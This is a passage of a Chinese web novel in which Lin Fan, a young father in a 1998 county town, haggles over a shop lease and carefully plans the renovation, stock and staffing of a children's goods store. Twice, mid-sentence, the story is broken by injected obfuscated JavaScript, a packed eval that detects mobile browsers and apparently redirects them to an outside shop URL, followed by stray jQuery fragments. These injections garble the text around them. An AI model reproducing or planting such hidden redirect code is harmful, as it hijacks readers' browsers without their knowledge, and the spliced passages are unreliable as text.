街口往里走五十米,一家挂着“转租”木牌的店撞进眼里。
是家国营日杂店,玻璃门上的“国营日杂”木牌掉了半块漆,露出里面的木头底色,风一吹,挂在门后的旧风铃叮当作响,像在叹气——
这风铃还是以前国营店开业时挂的,现在铃舌都锈了,声音发哑,听得人心头发沉。
玻璃蒙着层灰,用手指一擦能留下一道白印,能看见里面空了大半的货架,货架上的铁架都生了锈,黄褐色的锈迹爬满了架子,一碰就掉渣。
墙角堆着几个破纸箱,上面印着“雪山牌洗衣粉”的字样,红颜色掉了色,露出牛皮纸的本色,箱子都被老鼠咬了几个洞。
木牌上写着个座机号,数字用红漆写的,“3”和“8”掉了两处色,得凑近了才能看清,旁边还歪歪扭扭写着“非诚勿扰”。
林凡抱着笑笑站在对面的树底下,看了半小时——放学时,有不少家长带着孩子从店门口过,有的会往里面瞥两眼,似乎在琢磨这店要做什么。
甚至有个穿碎花裙的妈妈拉着扎羊角辫的孩子说:
“要是这儿卖玩具就好了,省得跑老远去市中心买,每次去都得坐公交,孩子还晕车。”
孩子也跟着点头,眼睛盯着空货架,像在想象里面摆满玩具的样子,小手还拉着妈妈的衣角晃了晃。
“爸爸,这里有小朋友。”
笑笑醒了,揉着眼睛指着不远处追逐打闹的孩子,小声音带着点雀跃,还伸手想去抓飘过来的蒲公英,小手指在空中抓了抓,却没抓到,咯咯地笑了。
林凡摸了摸她的头,指尖蹭过她柔软的头发,声音放得很轻,像怕惊着她:
“以后咱们在这里开个店,卖好多玩具,还有你喜欢的小熊衣裳,好不好?”
笑笑的眼睛一下亮了,像落了星星,小手拍着林凡的肩膀,力气不大却很欢实:
“好!我要粉色的!还要给小熊穿裙子!还要画太阳贴在墙上!”
下午,林凡找了个公用电话亭。
铁皮亭子锈了边,绿色的漆掉了大半,露出里面的铁锈,像块补丁。
里面摆着部黑色座机,按键上的数字都磨白了,“5”键还陷下去一点,得使劲按才能通。他从口袋里摸出枚一元硬币,手指都有点抖——
这硬币是他早上卖橡皮赚的,攥在手里都暖了。
“叮”的一声,硬币落进盒子里,他拨通了木牌上的电话,手指还在发抖——
这是他第一次主动联系转租,心里又紧张又期待,怕对方说“已经租出去了”,又怕租金太贵
。
“喂,哪位?”
接电话的是个中年男人,声音带着点沙哑,像没睡醒,
还有点咳嗽,估计是着凉了,说话时还带着点鼻音。
“您好,我看到您那日杂店要转租,想问问情况。”
林凡尽量让声音听起来稳当,不像**躁的年轻人,还特意清了清嗓子,把紧张压下去。
对方听说有兴趣,语气活泛了些,咳嗽声也停了:
“哦,你想做啥生意?是卖菜还是卖百货?
明天上午九点来店里谈吧,我在,顺便给你看看房产证,省得你不放心。”
语气里带着点实在,不像耍滑头的人。
挂了电话,林凡心里揣着股热乎劲,像揣了个小暖炉,连脚步都轻快了些。
晚上坐在灯下算账,他把存折摊在桌上,用笔圈出“四万七千二”——
这钱绝不能动,是老本,也是以后做更大事的种子,要是动了,万一出事,连退路都没有。
棚子里的流动资金有八百六十三块,藏在床板下的铁盒里,
用布包了三层,每次拿的时候都小心翼翼的。
连环画收了五十多本,花了不到一百,最值钱的是那本1962年的《三打白骨精》,
上次有人出价二十他没卖,想着以后留给笑笑。
他计划最多拿出五千块租门面,租金、押金、装修、首批货,每一分都得算着花,像捏着沙子似的,不能漏一点。
比如刷墙的石灰,要选县建材厂的,质量好,一袋五块,两袋就够,能刷完整个墙面;
木匠要找张师傅,上次修棚子的货架,他收费便宜,手艺还好,一天五十,打三排货架最多两天,加上材料,八百块足够了;
铺地面的水泥,选县水泥厂的,一袋八块,六袋四十八块,沙子一方二十块,总共不到七十块。
第二天一早,林凡把笑笑托付给隔壁张婶。
张婶六十岁,头发花白了大半,却很精神,儿子在外地打工,平时喜欢帮邻居看孩子,心地特别好。
上次林凡去市里进货,张婶就帮看过笑笑,还煮了鸡蛋羹给她吃,放了笑笑爱吃的虾皮。
“张婶,今天麻烦您帮我看会儿笑笑,我去谈点事,中午就回来,给您带包子,肉馅的。”
林凡把笑笑的小外套递给张婶,里面还塞了块手帕,怕孩子流鼻涕,又叮嘱道,
“她要是饿了,您就给她吃昨天买的饼干,别让她多吃,怕上火。”
张婶正择菜,手里拿着把青菜,叶子上还带着露水,笑着应下:
“放心去吧,你跟笑笑说,中午我给她煮鸡蛋羹,放好多虾皮,保证她爱吃。”
笑笑搂着张婶的脖子,小脸蛋蹭了蹭张婶的脸,还不忘跟林凡挥手:
“爸爸早点回来!我等你带包子!”
林凡到日杂店时,门虚掩着,能看见里面透出的光。
推开门,一股潮湿的霉味扑面而来,混着洗衣粉的淡香,墙角还有点返潮,墙皮都发绿了,摸上去黏糊糊的。
一个穿旧中山装的男人正蹲在地上清点库存,头发花白,鬓角沾着点灰,中山装的领口磨出了毛边,袖口还缝了块补丁,一看就是过日子仔细的人。
货架上只剩几袋洗衣粉、几块肥皂,孤零零地摆着,洗衣粉的保质期还有半年,肥皂是柠檬味的,包装都皱了,估计放了很久。
“您是赵经理吧?我是昨天打电话的林凡。”
林凡主动递过手,掌心带着点汗——
昨天晚上没睡好,手心总出汗,怕对方看出来,还在裤子上擦了擦。
赵经理站起身,拍了拍裤子上的灰,伸手跟他握了握——手指关节粗大,掌心全是老茧,像摸在砂纸上,估计以前干过重活。
他上下打量林凡,眼神里带着点惊讶:
“你这么年轻?看着才二十出头,想做啥生意?我还以为是中年人来租呢,年轻**多不愿意干这种小买卖。”
“开家儿童用品店,卖玩具、衣裳、文具,这附近缺一家像样的。”林凡没隐瞒,这事儿藏不住,指了指窗外,
“您看,这附近三个家属院,还有小学,孩子多,肯定有生意。上次我来的时候,还有家长说想在这儿买玩具呢。”
赵经理点点头,叹了口气:
“确实缺,以前常有家长来问有没有孩子穿的衣裳、玩的玩具,可咱们是日杂店,只卖洗衣粉、肥皂这些,满足不了人家。
这店二十二平,后面带个小仓库,有五平,能放货,还能堆点杂物,不用占店里的地方。
以前是国营的,我在这儿干了十年,从二十多岁干到现在,现在公司要改制,说这店不赚钱,客流量少,就让转租。”
他顿了顿,语气里带着点不舍,“其实我也不想转,可没办法,公司有规定。”
1998年县城里不少国营小店都在改制
有的关了门,有的转租,像西街的国营粮店就改成了超市,东街的国营书店也转租给了卖文具的,主要是国营店效率低,进货慢,价格还高,跟不上老百姓的需求。
林凡听老吴说过,国营店进货得层层审批,有时候热门的货半个月都进不来,等进来了,早就没人要了。
“租金嘛,一年一千二,押三付一,第一次得交四百块——
押金三百,首月租金一百。”
赵经理报了价,眼神里带着点试探,似乎在看林凡的反应。
这个价比林凡预估的高了一百,他心里快速算了算——
一千二一年,每月就是一百,比市中心便宜一半,还是能承受,但能省一点是一点。
他没立刻应,指着墙面说:
“赵经理,您看这墙皮,掉得能看见里面的青砖,我得买石灰重新刷,还得买腻子补缝,这就得两百多;
货架也得全换,这些旧货架太矮,才一米二,摆不了多少货,我得打一米八的,材料和工钱都得花钱;
而且这位置不算街口,人流比街口少一半,您看租金能不能再让让?”
他又指了指门口的台阶,台阶裂了道缝,有两指宽,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607485|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下雨天容易积水:
“这台阶裂了缝,下雨天容易滑,我还得找水泥补,一袋水泥八块,最少要两袋,这些都是额外的开支,我这刚创业,实在不容易。”
赵经理皱着眉,围着店转了一圈,手指敲了敲墙面,“咚咚”响,又看了看林凡真诚的眼神——
那眼神里没虚头,全是想做事的劲,不像之前来问的人,要么嫌贵要么挑三拣四,还想压价压得离谱。
他最终叹了口气:
“行吧,年轻人创业不容易,我也不跟你多要。
第一年租金降到一千一,押金不能少,三百块,首月租金一百一,总共四百一。”
他顿了顿,补充道,“以后每年租金涨多少,咱们再商量,但我不会涨太多。”
林凡心里一松,比预算少了三十块,够买两袋石灰,或者给笑笑买两罐水果糖。
但他没露喜,假装犹豫了会儿,又提了个要求:
“赵经理,我想签三年合同,而且得在合同里写明,三年内租金涨幅不能超过每年百分之五。”
他知道,再过两年,县城的租金就得涨——
去年东街的门面就涨了百分之十,现在把话写死,以后不用跟人扯皮,也能少花冤枉钱。要是每年涨太多,他的利润就薄了,说不定还得赔钱。
赵经理摸了摸下巴,琢磨了会儿——
三年租约稳定,不用总找下家,他也能早点去公司报道,不用天天守着这空店;
百分之五的涨幅也合理,比物价涨得慢不了多少,去年县城的物价涨了百分之六,这个涨幅不算高。他点了点头:
“行,就按你说的来。明天你带身份证、钱,咱们去居委会签正式合同,我再把钥匙给你,顺便把水电费结清,省得你后续麻烦。”
走出日杂店时,阳光正好,晒在肩膀上暖得能化开心里的冰疙瘩。
林凡攥了攥口袋里的存折,指尖都透着劲——
原来从“摆摊的”到“开店的”,就差这一步迈出去的勇气。
以前总怕这怕那,现在真的谈成了,反而觉得心里踏实了。
可走了没两步,心里又沉了沉:装修得找张师傅,得提前量好货架尺寸,长两米、宽四十厘米最合适,太高了孩子够不着,太宽了占地方;
进货得跑趟市里,得提前列好清单,儿童衣裳要拿1-3岁的,男孩女孩的都得有,每种款式拿五件,卖得好再补;
玩具要拿积木、玩偶,不能拿太硬的,怕孩子磕着;营业执照得去工商变更,要带身份证、租赁合同,说不定还得跑两趟,上次老吴就跑了三趟才办下来。
最担心的还是黑皮,要是他知道自己开了店,会不会来闹得更凶?
上次只是摆棚子,黑皮就常来捣乱,开了店说不定更过分,觉得自己赚了钱,能榨出更多“油水”。
邻街开杂货店的老吴,刚开店的时候也被地痞找过麻烦,后来他联合了旁边几家店,一起去派出所备案,还跟街道办签了“商户联防”的协议,之后地痞就不敢来了。
林凡想着,以后也得跟旁边的店搞好关系,万一有事,也好有个照应。
他深吸一口气,脚步却没停。
开弓没有回头箭,既然决定破局,就不能怕麻烦。
他得赶紧回家,把装修要办的事列个清单,还得告诉王猛——
那个憨直的兄弟,昨天还说要帮他搬货,以后店里少不了他的力气,得跟他说说,让他帮忙看着装修,别让人偷东西,也别让人来捣乱。
走到巷口,远远就看见王猛在棚子门口张望,胳膊肘撑在柜台上,脖子伸得老长,像只等着喂食的大雁。
看见林凡,他嗓门一下就亮了,手挥得像小旗子:
“凡子!咋样?找着地方没?是不是跟我说的一样,小学附近好?
我就说那儿孩子多,肯定适合开儿童用品店!”
林凡笑着点头,声音里都带着劲:
“找着了,明天签合同。二十多平,还带个仓库,以后咱们就有正经店了,不用再蹲这棚子里受冻了!”
王猛一听,高兴得跳起来,嗓门大得能惊动隔壁的修鞋师傅——
修鞋师傅正低着头钉鞋跟,
闻言探出头看了一眼,也笑着点头,还朝林凡竖了竖大拇指。
王猛跑过来,手拍在林凡肩膀上,力道大得让他晃了晃:
“真的?太好了!以后再也不用怕黑皮踹门了!我这就去跟张师傅说,让他明天就来量尺寸,他昨天还跟我说,要是你开店,他免费帮你修一次货架,说你是实在人!”
林凡拍了拍他的手,没说话——他知道,这只是破局的第一步。
装修时要盯着石灰别掺假,有的商家会在石灰里掺沙子,刷出来的墙容易掉皮;
进货时要挑质量好的,不能拿次品,不然砸了招牌;
开业后要防着黑皮捣乱,得提前跟派出所备案;
还要跟周围的邻居搞好关系,互相有个照应。
这些都还在后面等着,像一座座小山头,得一个一个翻过去。
但他低头看了看掌心,那上面还留着握存折的温度,
像握着笑笑的小手似的,透着安稳。
他抬头看了看天,太阳正慢慢爬高,照在路边的杨树上,叶子晃着光,心里想着:
以后不管再难,只要能让笑笑有个不漏雨的家,能让她不用再怕黑皮、钱老西,再累也值了。
他甚至开始琢磨店名,“笑笑宝贝屋”这几个字在心里过了一遍,觉得又暖又亮,像揣着个小太阳。
至少,
他已经朝着“给笑笑一个不漏雨的家”的方向,稳稳地迈出去了。
第二十章: 新起点
与赵经理在日杂店后屋敲定租约时,窗外的暮色已经漫过街角的梧桐树梢,把后屋堆得半人高的搪瓷盆、肥皂盒都染成了暖褐色。
赵经理手指夹着支皱巴巴的香烟,烟灰时不时掉在租约草稿上,留下星星点点的黑痕;他说话时带着烟嗓,每说一句就抿口搪瓷杯里的浓茶,杯沿的茶渍厚得能刮下一层。
林凡把那张打印着密密麻麻条款的租约草稿叠了三层——指尖能摸到纸页边缘沾着的茶水印,潮乎乎的;
小心揣进贴胸的内兜。那纸页像块刚从铁匠铺里捞出来的烙铁,隔着洗得发白的的确良衬衫,都能烫得他心口发紧,连呼吸都不敢太用力,怕把这“希望”折坏了。
他走出日杂店时,街面上的路灯刚亮。
老式钠灯的昏黄光线透过梧桐叶缝隙洒下来,在地上织成零碎的光斑,踩上去像踩着星星点点的暖玉。
往筒子楼走的路上,他特意绕开了平时常去的那家馒头铺;铺子里飘出的白面香勾得他肚子直叫,但今晚实在没心思买晚餐。
满脑子都是“中心小学隔壁十三平米”“月租一百二”“三年租约”这些字眼,像走马灯似的转个不停,连脚步都比平时快了半拍。
筒子楼还是老样子:
楼道口堆着邻居张婶家的旧煤炉,炉口沾着黑煤渣,旁边立着半袋没烧完的蜂窝煤,煤屑撒了一地;
墙面上爬满了雨水冲刷出的黑印子,像蜿蜒的小蛇从一楼爬到三楼,那是去年雨季漏雨留下的痕迹;
连声控灯都照旧“哑”着——林凡故意咳了两声,又重重跺了跺脚,头顶的灯泡“滋啦”响了一下,勉强亮了半秒;
照见楼梯转角堆着的旧纸箱(上面印着“雪花膏”,是张婶去年用完的),然后就彻底没了动静。
浓得化不开的黑裹着墙皮剥落的霉味、隔壁张婶家飘来的白菜炖豆腐味,还有楼道深处公共厕所的淡淡异味,一股脑往鼻子里钻。
他贴着冰冷的墙根慢慢挪,每走一步都能听见鞋底蹭过台阶青苔的沙沙声——青苔滑腻,偶尔会带起一点绿色的碎末粘在鞋边。
怀里的租约草稿被手心的汗浸得发皱,边角都软了,他却攥得比什么都紧,这可是他和笑笑攒了大半年的希望。
稍一松劲,就怕像上次摆摊时被风吹走的零钱似的,打着旋儿飘远,再也抓不住。
他没先去找在棚子看摊的王猛,反倒掏出钥匙,把自己关进了那间只有六平米的小屋。
15瓦的灯泡悬在房梁上,昏黄的光裹着浮尘晃悠,照得木桌上的旧闹钟指针“滴答”声都格外清晰,像在数着他心里的期待。
他从抽屉里翻出笑笑用剩下的半本笔记本——封面还贴着张歪歪扭扭的贴纸,是笑笑用彩笔涂的小太阳,太阳光芒是粉色的——又摸出一支圆珠笔,笔尖顿在扉页上,迟迟没落下。
直到窗外传来邻居家孩子哭闹着要塑料玩具的声音(那孩子每天这个点都要闹,家长总哄“明天买”),他才深吸一口气,重重落下笔——“门店启动计划”五个字透了纸背,墨痕在灯光下泛着亮,像在替他攥着劲。
铅笔被他攥得指节发白,指尖蹭得起了毛边,连“买石灰要选整块的,比袋装粉省两毛钱”“地板革要选厚点的;
孩子踩上去不凉脚、不硌脚”这种小事,都一笔一划记得分明,仿佛多漏一个字,新店就会差上千里——他太怕出错了,这是他和笑笑离“安稳”最近的一次。
第一步:资金调配——每一分都要攥出水来
床板下的铁盒早被磨得发亮,盒身上印的“牡丹”图案褪得只剩淡淡的轮廓,边缘的漆皮掉了大半,露出里面的铁皮,上面还留着笑笑小时候用彩笔涂的红点点。
他蹲在床边,手指抠开生锈的搭扣,“咔嗒”一声,金属摩擦的声响在小屋里格外清楚。
铁盒里的钱用橡皮筋扎了三层:最大的票子是十块的,一共二十张,每张都压得平平整整,没有一丝褶皱——那是他每次收取和支付清点后,立刻掏出来抚平叠好的;
五块、一块的散票压在下面,其中一张五块的缺了个角,是上次帮菜市场李叔搬菜筐时,李叔找零给的,他特意用透明胶带粘好了边;
最底层是一毛、两**的钢镚,用旧报纸包着,沉甸甸的,报纸都被钢镚磨得发亮。
他把钱倒在桌上数了三遍:第一遍用手指点,每张钱都要捏实了,怕漏数;
第二遍用铅笔在纸上划勾,十块的画“○”,五块的画“△”,钢镚按“十个一摞”摆好;最后一遍连钢镚都挨个摞起来,数到“五百”时,他长长舒了口气——不多不少,正好五百块。
这五百块是他和笑笑省了整整三个月的活命钱:早餐他从来舍不得买五毛钱一根的油条,每天揣两个两毛钱的馒头,揣在怀里捂热,就着公共水龙头的凉水咽下去,喉咙里总泛着点凉丝丝的疼;
笑笑的铅笔用到只剩两厘米长,他就找了截小木棍,用橡皮把铅笔头绑在上面,笑笑握在手里硌得慌,却从来没说过疼,作业本正面写完写反面,连老师发的练习纸边角都要裁下来当草稿;
夏天再热,气温飙到三十多度,他都没给笑笑买过一毛钱的冰棍,渴了就去公共水龙头接凉水,倒在旧搪瓷杯里,晾温了给笑笑喝。
他把钱分成两摞:四百四十块用红纸包着——这是赵经理要求的首月租金(一百二)加押金(三百二),一分都不能少。
红纸是上次邻居结婚时送的,他一直没舍得用;剩下的六十块折成小方块,塞进内兜最里层,指腹反复蹭着纸币上的“工人头像”纹路,心里默念:
万一签合同时要补上个月的水电费,或者路上买点东西,这点钱就是救命的。
“明天单独去签合同,不叫王猛。”
他对着笔记本轻声说,笔尖在“单独”两个字下面画了道横线,墨痕都晕开了。
“先把钥匙拿到手,免得夜长梦多——猛子性子急,上次黑皮来闹,他差点跟人动手,这次怕他跟着瞎紧张,坏了正事。”
他又从抽屉里翻出笑笑的照片——是去年过年时在照相馆拍的,十块钱一张,笑笑穿着洗得发白的蓝棉袄,手里攥着块硬糖(是他特意买的,五毛钱一块),笑得露出两颗小虎牙,嘴角还沾着点糖渣。
他把照片夹在笔记本里,照片边缘蹭着纸页,心里像被暖水浸过:这五百块,不仅是房租,更是笑笑能在亮堂堂的店里玩积木的希望,绝不能出岔子。
第二步:装修规划——省钱也要暖得像家
林凡在笔记本上写了行加粗的字,笔尖都快把纸戳破了:“核心目标:让孩子进来就不想走,让家长觉得放心。”
他太清楚以前的棚子有多糟了——帆布顶漏雨,一到下雨天,地面全是水洼;墙是黑的,连灯泡都只有15瓦,家长带孩子来都匆匆忙忙,怕孩子磕着碰着,更怕环境不好影响孩子。
这次新店必须不一样——得像“家”一样,干净、亮堂,还得有温度,让孩子愿意待,家长愿意信。
墙面:自己刷,省料又暖心
墙面自己刷是定了的——他前几天去巷口的建材店问过,袋装石灰要十块钱一袋,整块的石灰八块钱能买一大块,足够刷完十三平米的墙面,还能剩点补墙缝。
建材店老板是个五十多岁的大叔,舀了点米黄色涂料在白纸上,晒干后是淡淡的暖黄,像春天晒过的被子颜色,老板说:
“这色儿显亮,不刺眼,孩子进来看了不压抑,而且便宜,十五块钱一桶,够你刷两遍。”
他特意在笔记本上画了个小房子,墙面涂成浅黄,旁边写着:“刷两遍!第一遍补墙缝(用剩下的石灰混点胶水,建材店老板送了小半桶,说‘补完不裂’),
第二遍刷均匀,从下往上刷,免得石灰水流下来留印子,刷完后通风一天,怕有味道。”
地面:二手地板革,软乎又省钱
水泥地不用铺瓷砖——铺瓷砖得花好几十,还得请人贴,工费就要二十块,不划算。他计划先把水泥地扫干净,撒点清水(免得扬灰),等干了再铺块二手地板革。
上次去旧货市场,他在一个倒闭的童装店摊位前停住了——那有块二手地板革,上面印着小鸭子图案,有的地方颜色有点淡,但没破洞、没裂纹,摸起来厚得能捏出纹路。
老板要二十五块,他磨了半天,说:“我开儿童店,孩子踩上去要软乎,你这地板革刚好,二十
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607486|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
块我就拿,以后我进货还来你这。”
老板看他实在,才松口答应。他还特意量了尺寸,两米宽、六米长,刚好能铺满十三平米的店,边角料还能裁下来补桌子腿的缝隙,一点不浪费。
灯光:亮堂是关键,不省这点钱
灯光是重点——以前棚子用的15瓦灯泡,暗得像快灭的蜡烛,孩子选文具时,连橡皮上的卡通图案都看不清,有的家长还以为是橡皮质量差。
这次他要换两根40瓦的日光管,装在天花板正中间,亮到能照见货架上橡皮的纹路才好。
五金店的老板拍着胸脯说:
“40瓦的日光管是最亮的民用管,比你那15瓦的亮三倍,两根装上去,你这店白天不用开灯都亮!”
他问了价,日光管十二块钱一根,加上塑料灯座,总共二十块钱——比买灯泡贵点,但值。
他在笔记本上写:“灯座要选质量好的,免得漏电,孩子安全第一。”
货架:旧货市场淘,刷漆变新样
货架去旧货市场淘——他早就打听好了,旧货市场里有不少倒闭店铺剩下的旧柜台,带玻璃门的最适合放文具,防尘还好看。
上次去问过一个老板,有个深棕色的旧柜台,玻璃门有点模糊,但没裂,木质框架也没虫蛀,老板要六十块。
他蹲在柜台前,敲了敲玻璃,听了听声响,又摸了摸木质框架,跟老板磨了半个钟头:
“我开儿童店,赚点辛苦钱,五十块行不行?我还帮你把旁边的废铁挪到墙角,省得你费力。”
老板被他说动了,松口说
“五十就五十,你扛走吧”,还送了个旧锁,说“锁柜台用,免得孩子乱翻”。
他打算回来刷层深褐色的油漆——五金店八块钱一桶的那种,刷完后木纹理能透出来,看着就结实,孩子扒着玻璃看也不怕坏。
他还淘了四个开放式铁架货架,铁架上的锈迹用砂纸磨掉,刷层同色油漆,就能当童装货架,老板要三十五,他砍到三十,说“我再买你一卷砂纸,算抵五块”,老板笑着答应了。
门头:第一面镜子,不能省
门头的钱不能省——他订了块一米宽、半米高的白底招牌,请巷口修鞋的老张写“笑笑宝贝屋”五个字。老张写毛笔字是出了名的,以前街坊邻居办喜事,都找他写对联。
林凡特意嘱咐:“字要写得圆乎乎的,像孩子的笑脸,别太刚硬,颜色用红色,喜庆。”还添了行小字“儿童用品专营”,下面再画个小太阳,太阳的光芒用朱砂点一点。
老张算了算,说做招牌要六十块钱——木板、白漆、红漆、朱砂,都是成本。林凡咬咬牙答应了——这是给顾客的第一面镜子,得亮堂,得让人一眼就记住,知道这是给孩子开的店。
他在笔记本上画了个小招牌,旁边写:“招牌要钉牢,免得刮风掉下来砸到人。”
他把算好的数写在页边,用铅笔反复加了三遍:石灰八块+涂料十五块+地板革二十块+日光管(含灯座)二十块+旧柜台五十块+油漆八块+招牌六十块=两百七十三块。
他在“两百七十三块”下面画了个圈,旁边写着:“卡死在三百以内,多一分就从下个月的伙食费里省——早餐馒头减一个,改成一个馒头,我少吃点没事,不能亏了笑笑。”
第三步:货源升级——从“凑活卖”到“往心里选”
以前棚子卖的都是最便宜的货:橡皮一擦就掉渣,孩子擦作业时,纸面上全是黑屑;积木边缘有毛刺,有的孩子玩时还被扎到过手;
童装是化纤的,孩子穿了容易痒,夏天还不吸汗。这次林凡打定主意要改——“要做就做家长放心的货,哪怕赚得少点,也能留住人。要是货不好,砸了招牌,以后就没生意了。”
他在笔记本上画了三栏,用不同颜色的笔标注(红色是文具,蓝色是童装,绿色是休息区):
左栏(文具玩具区):安全第一,孩子喜欢
橡皮:选“真彩”的卡通橡皮,上次去市里批发商那问过,这种橡皮擦得干净还不粘纸,进价四**五一块,卖六**。
他特意拿了块小熊形状的样品,在手里捏了捏,软乎乎的,找了张废纸试了试,擦完后纸面
第二十一章:新战场
积木:选块大的原木色积木,每块都打磨过,边缘圆润,没有毛刺。
进价三块钱一套,卖五块。他把积木搭成小房子,轻轻晃了晃,很稳,不会掉下来,还特意让笑笑试玩了一下,笑笑说“比以前的积木软”,他才定下来。
水彩笔:选十二色的,笔帽上有卡通图案(小熊、小兔),孩子喜欢。进价一块五,卖两块五。他打开笔帽,在纸上画了道线,颜色鲜亮,还不晕染,比以前卖的“漏墨水”水彩笔强多了。
中栏(童装童鞋区):舒适为主,家长安心
童装:布料必须是棉的,至少七成棉。
他去批发市场摸了好几家,有的布料看着像棉,其实掺了化纤,他就用打火机烧了点线头——能烧成灰、没有黑烟的才要。
童装是圆领的,袖口宽松,不会勒孩子的胳膊,进价十五块一件,卖二十五。他还选了几件带小图案的(小太阳、小花朵),笑笑说“好看”,他就多拿了五件。
童鞋:选软胶底的,鞋底厚度有一厘米,弯折十几次都能弹回来,不会变形。鞋头是圆的,不会挤孩子的脚趾,鞋面是帆布的,吸汗。进价八块,卖十二块。
他特意试穿了一下(虽然有点小),走起来很舒服,没有硌脚的地方,比以前卖的硬底鞋强太多。
右栏(休息区):暖心细节,留住顾客
留个两平米的角落,放个从旧货市场淘的旧桌子(十块钱)和两把旧椅子(五块钱),摆个保温桶盛现煮的橘子水。
橘子是在菜市场收的尾货,表皮有点皱,但果肉很甜,五块钱一大袋,能熬好几桶。熬的时候放两勺冰糖,熬到橘子皮都软了,晾温了喝,甜而不腻,孩子爱喝。
再进点小蛋糕,是附近面包店的尾货,当天做的,晚上七点后便宜卖,进价五**一个,卖一块。蛋糕很松软,里面还有葡萄干,孩子肯定喜欢。
他想:
家长带孩子来,就算不买东西,也能歇脚喝杯橘子水,吃块小蛋糕,显得亲切,下次说不定就来买东西了。
他还在页脚写了进货原则:“只拿五百块的货,卖完再补,绝不能压钱。”
以前在棚子,他贪多进了太多货,最后卖不出去只能亏本甩卖,有的积木放久了还受潮变形,这次得吸取教训。
他列了详细的进货清单:橡皮50块(111块)、积木20套(60块)、水彩笔30盒(45块)、童装20件(300块)、童鞋15双(120块)——算下来刚好475块,剩下25块留着应急,卖完这些再补,绝不多进。
他还计划下次去市里,跟批发商磨“真彩”文具的长期代理价:
“要是能谈到四**一块橡皮,一盒水彩笔一块三,就能多赚点,以后还能进点‘真彩’的油画棒,孩子肯定喜欢。”
另外,他还想订两箱AD钙奶,每箱二十四瓶,进价八**一瓶,卖一块二——有牌子的东西,家长看着放心,孩子也爱喝,还能带动其他货的销量。
第四步:人手足——跟王猛交实底
林凡知道,新店离不开王猛。王猛比他大两岁,以前在工地干苦力,搬一块砖两分钱,一天要搬两千多块,累得腰都直不起来,工资还经常拖;
后来工地没活了,就来他的棚子帮忙,每天从早上八点守到晚上十点,管两顿饭,一个月一百二,从来没抱怨过。
有次林凡发烧,晚来的两个小时,王猛不仅帮着整理货物,还主动帮顾客找东西,把橡皮按颜色分好,把积木摆整齐,连地上的纸屑都扫干净了。
棚子之所以能撑到现在,王猛的踏实功不可没——林凡早就想给王猛涨工资了,只是以前棚子赚得少,没底气。
他在笔记本上写:
“给王猛涨工资,从每月一百二涨到一百八,再加提成——多卖五十块提五块。”
他算过,以前王猛在工地,一个月最多四百块,但不稳定,有时候干半个月就没活了;
现在一百八加提成,要是一个月能卖两千块,王猛就能拿到一百八+(2000÷50×5)=三百八,比在工地稳定多了,足够他母亲的医药费(每个月两百多)还有结余。
他还打算跟王猛说,以后新店的日常运营就靠他——看店、整理货物、跟顾客打交道;
自己腾出手跑手续、找货源,还得跟街道、工商打交道,比以前忙十倍,但心里踏实:
“终于不是飘着的棚子了,是有根的店,以后咱们也是‘正经商户’了。”
他想象着跟王猛说这事的场景:
王猛肯定会激动得拍胸脯,说
“凡子,你放心,我肯定好好干”——
上次王猛母亲生病,林凡借了他两百块,王猛一直记着,干活更卖力了。
这次涨工资加提成,不仅是对王猛的认可,更是两人一起把店做好的底气;
他知道王猛靠谱,是能一起扛事的兄弟。
第五步:手续和关系——先把“规矩”立稳
“手续不能拖,拖一天就多一天风险。”
林凡在笔记本上画了个醒目的小勾,旁边列了个清单,每个条目后面都打了个小方框,准备办完一项勾一项:
1.营业执照地址变更
明天去工商所提交材料,带租赁合同(双方签字按手印)、旧执照(原件,不能是复印件)、身份证(正反面复印件),一个都不能漏。
他上次去工商所咨询时,办事员姓张,三十多岁,戴个眼镜,说话很耐心,把需要的材料一条一条写在纸上,还标了注意事项:“租赁合同要写清楚地址、租期、租金,不能漏项;
旧执照要是有损坏,得先补再变更。”林凡把那张纸夹在笔记本里,都快翻烂了,还在旁边写了张办事员的电话,怕到时候有问题能咨询。
2.新街道“拜码头”
带包红塔山烟(五块钱一包,当时的中档烟),去找街道的周干事。
李干事(以前在棚子片区认识的街道干事)跟他说,周干事五十多岁,喜欢抽烟,以前也是穷苦人,对年轻人创业很照顾,“你客气点,说‘以后请多关照’,他肯定会帮你留意的”。
他还打算跟周干事提一句:“店里以后会经常有孩子来,能不能帮忙留意下周边的安全,比如有没有流浪狗,或者路边的井盖有没有坏——孩子小,怕出事。”
他想,跟街道处好关系,以后有什么事也能有个照应,比在棚子时“没人管”强。
3.处好邻居
“远亲不如近邻,真有事了,邻居能帮上大忙。”
他在笔记本上写。隔壁要是小吃店,偶尔送袋小饼干(从进货的蛋糕里拿两三个);
要是卖五金的,下次买钉子多问两句,跟老板熟络熟络;
要是有带孩子的邻居,开业时送块橡皮,让孩子喜欢,家长也能记住。
以前在棚子,邻居张婶偶尔会送碗热粥,李叔会帮着看摊,这次新店的邻居,他也想处好——
比如隔壁小吃店的老板,要是孩子家长饿了,还能推荐去吃,互相带生意,比互相提防强。
最后:风险应对(画了个小三角,提醒自己重点看)
黑皮要是来闹:先找片警,别硬扛。
上次黑皮来棚子要保护费,片警来了就吓跑了,这次有正经店面,更不能跟他硬碰硬——犯不着跟地痞置气,万一伤了人,店就开不成了。
他还记了片警的电话,写在笔记本第一页,方便随时打。
